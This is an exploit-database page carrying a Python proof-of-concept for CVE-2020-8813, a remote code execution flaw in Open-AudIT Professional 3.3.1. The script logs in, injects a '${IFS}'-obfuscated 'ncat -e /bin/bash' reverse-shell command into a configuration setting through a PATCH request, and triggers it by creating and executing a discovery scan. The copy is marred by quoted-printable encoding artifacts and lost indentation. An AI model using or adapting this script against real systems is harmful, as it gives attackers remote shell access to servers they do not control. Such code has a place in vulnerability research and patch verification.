Openaudit professional 3.3.1 remote code execution Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-04-29 | Type : webapps | Platform : php

---

[+] Code ...

# Exploit Title: Open-AudIT Professional 3.3.1 - Remote Code Execution
# Date: 2020-04-22
# Exploit Author: Askar
# CVE: CVE-2020-8813
# Vendor Homepage: https://opmantek.com/
# Version: v3.3.1
# Tested on: Ubuntu 18.04 / PHP 7.2.24

#!/usr/bin/python3

import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
print("[~] Usage : ./openaudit-exploit.py url username password ip port=
")
exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

request =3D requests.session()

def inject_payload():
configuration_path =3D url+"/en/omk/open-audit/configuration/90"
data =3D 'data=3D{"data":{"id":"90","type":"configuration","attributes"=
:{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, =
port)
request.patch(configuration_path, data)
print("[+] Payload injected in settings")


def start_discovery():
discovery_path =3D url+"/en/omk/open-audit/discoveries/create"
post_discovery_path =3D url+"/en/omk/open-audit/discoveries"
scan_name =3D "".join([random.choice(string.ascii_uppercase) for i in r=
ange(10)])
req =3D request.get(discovery_path)

response =3D req.text
soup =3D BeautifulSoup(response, "html5lib")
token =3D soup.findAll('input')[5].get("value")
buttons =3D soup.findAll("button")
headers =3D {"Referer" : discovery_path}
request_data =3D {
"data[attributes][name]":scan_name,
"data[attributes][other][subnet]":"10.10.10.1/24",
"data[attributes][other][ad_server]":"",
"data[attributes][other][ad_domain]":"",
"submit":"",
"data[type]":"discoveries",
"data[access_token]":token,
"data[attributes][complete]":"y",
"data[attributes][org_id]":"1",
"data[attributes][type]":"subnet",
"data[attributes][devices_assigned_to_org]":"",
"data[attributes][devices_assigned_to_location]":"",
"data[attributes][other][nmap][discovery_scan_option_id]":"1",
"data[attributes][other][nmap][ping]":"y",
"data[attributes][other][nmap][service_version]":"n",
"data[attributes][other][nmap][open|filtered]":"n",
"data[attributes][other][nmap][filtered]":"n",
"data[attributes][other][nmap][timing]":"4",
"data[attributes][other][nmap][nmap_tcp_ports]":"0",
"data[attributes][other][nmap][nmap_udp_ports]":"0",
"data[attributes][other][nmap][tcp_ports]":"22,135,62078",
"data[attributes][other][nmap][udp_ports]":"161",
"data[attributes][other][nmap][timeout]":"",
"data[attributes][other][nmap][exclude_tcp_ports]":"",
"data[attributes][other][nmap][exclude_udp_ports]":"",
"data[attributes][other][nmap][exclude_ip]":"",
"data[attributes][other][nmap][ssh_ports]":"22",
"data[attributes][other][match][match_dbus]":"",
"data[attributes][other][match][match_fqdn]":"",
"data[attributes][other][match][match_dns_fqdn]":"",
"data[attributes][other][match][match_dns_hostname]":"",
"data[attributes][other][match][match_hostname]":"",
"data[attributes][other][match][match_hostname_dbus]":"",
"data[attributes][other][match][match_hostname_serial]":"",
"data[attributes][other][match][match_hostname_uuid]":"",
"data[attributes][other][match][match_ip]":"",
"data[attributes][other][match][match_ip_no_data]":"",
"data[attributes][other][match][match_mac]":"",
"data[attributes][other][match][match_mac_vmware]":"",
"data[attributes][other][match][match_serial]":"",
"data[attributes][other][match][match_serial_type]":"",
"data[attributes][other][match][match_sysname]":"",
"data[attributes][other][match][match_sysname_serial]":"",
"data[attributes][other][match][match_uuid]":""

}
print("[+] Creating discovery ..")
req =3D request.post(post_discovery_path, data=3Drequest_data, headers=
=3Dheaders, allow_redirects=3DFalse)
disocvery_url =3D url + req.headers['Location'] + "/execute"
print("[+] Triggering payload ..")
print("[+] Check your nc ;)")
request.get(disocvery_url)


def login():
login_info =3D {
"redirect_url": "/en/omk/open-audit",
"username": username,
"password": password
}
login_request =3D request.post(url+"/en/omk/open-audit/login", login_in=
fo)
login_text =3D login_request.text
if "There was an error authenticating" in login_text:
return False
else:
return True

if login():
print("[+] LoggedIn Successfully")
inject_payload()
start_discovery()
else:
print("[-] Cannot login!")